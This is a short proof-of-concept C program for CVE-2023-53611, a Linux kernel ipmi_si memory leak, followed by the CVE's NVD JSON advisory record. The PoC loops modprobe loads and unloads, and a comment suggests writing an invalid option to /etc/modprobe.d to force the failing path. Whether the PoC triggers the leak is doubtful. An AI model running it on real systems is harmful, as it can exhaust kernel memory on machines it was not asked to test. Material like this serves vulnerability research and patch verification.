CVE-2023-53611

// PoC for CVE-2023-53611 - Linux kernel ipmi_si memory leak // This PoC demonstrates how to trigger the memory leak in try_smi_init() #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> // The vulnerability is triggered by repeatedly loading the ipmi_si module // under conditions that cause initialization to fail after si_sm allocation // but before shutdown_smi() registration. int main() { int i; printf("CVE-2023-53611 PoC - ipmi_si memory leak\n"); printf("Repeatedly loading ipmi_si module to trigger memory leak...\n"); for (i = 0; i < 100; i++) { // Load the ipmi_si module if (system("modprobe ipmi_si 2>/dev/null") == -1) { perror("modprobe failed"); } // Unload the module to allow reloading if (system("modprobe -r ipmi_si 2>/dev/null") == -1) { perror("modprobe -r failed"); } // Small delay between attempts usleep(100000); } printf("Check kernel log for kmemleak warnings:\n"); printf("dmesg | grep -i kmemleak\n"); return 0; } // Alternative trigger method using modprobe.d configuration: // Create a config file that causes ipmi_si initialization to fail // echo "options ipmi_si type=invalid_type" > /etc/modprobe.d/ipmi_si.conf // Then run: modprobe ipmi_si // Check: cat /sys/kernel/debug/kmemleak

{"cve": {"id": "CVE-2023-53611", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:57.863", "lastModified": "2026-03-17T16:42:31.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipmi_si: fix a memleak in try_smi_init()\n\nKmemleak reported the following leak info in try_smi_init():\n\nunreferenced object 0xffff00018ecf9400 (size 1024):\n comm \"modprobe\", pid 2707763, jiffies 4300851415 (age 773.308s)\n backtrace:\n [<000000004ca5b312>] __kmalloc+0x4b8/0x7b0\n [<00000000953b1072>] try_smi_init+0x148/0x5dc [ipmi_si]\n [<000000006460d325>] 0xffff800081b10148\n [<0000000039206ea5>] do_one_initcall+0x64/0x2a4\n [<00000000601399ce>] do_init_module+0x50/0x300\n [<000000003c12ba3c>] load_module+0x7a8/0x9e0\n [<00000000c246fffe>] __se_sys_init_module+0x104/0x180\n [<00000000eea99093>] __arm64_sys_init_module+0x24/0x30\n [<0000000021b1ef87>] el0_svc_common.constprop.0+0x94/0x250\n [<0000000070f4f8b7>] do_el0_svc+0x48/0xe0\n [<000000005a05337f>] el0_svc+0x24/0x3c\n [<000000005eb248d6>] el0_sync_handler+0x160/0x164\n [<0000000030a59039>] el0_sync+0x160/0x180\n\nThe problem was that when an error occurred before handlers registration\nand after allocating `new_smi->si_sm`, the variable wouldn't be freed in\nthe error handling afterwards since `shutdown_smi()` hadn't been\nregistered yet. Fix it by adding a `kfree()` in the error handling path\nin `try_smi_init()`."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.18", "versionEndExcluding": "4.19.295", "matchCriteriaId": "93B9CEA9-9DB2-491C-9471-569BEBC1B07A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.257", "matchCriteriaId": "834BD148-28EC-43A4-A4F5-458124A1E39F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.195", "matchCriteriaId": "C385B650-53DB-4BFB-83D1-1D8FADF653EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.132", "matchCriteriaId": "5913891D-409A-4EEC-9231-F2EF5A493BC7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.53", "matchCriteriaId": "B20754AF-3B8C-4574-A70D-EC24933810E5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.16", "matchCriteriaId": "C3039EA3-F6CA-43EF-9F17-81A7EC6841EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.5", "versionEndExcluding": "6.5.3", "matchCriteriaId": "880C803A-BEAE-4DA0-8A59-AC023F7B4EE3"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/09cb2a71b2e982015fe0464f28da1ab42b8e6375", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1bfcfea0fae0d0a6c6ff5543e6d704b3807b83ce", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5c5f02e16b919c8cb6024dc3778c8d8f1fb1f26b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6cf1a126de2992b4efe1c3c4d398f8de4aed6e3f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7291af9a738d936c2d6869d030711dceb68404d0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b9bc8fbb2d416ce87f0342478dc9fcfd79f2c65f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cbb7d8a4b4beb3061b3a1847a742983a01dca381", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f53ab5a2bf20fed59a2f7542d3453228b8056358", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}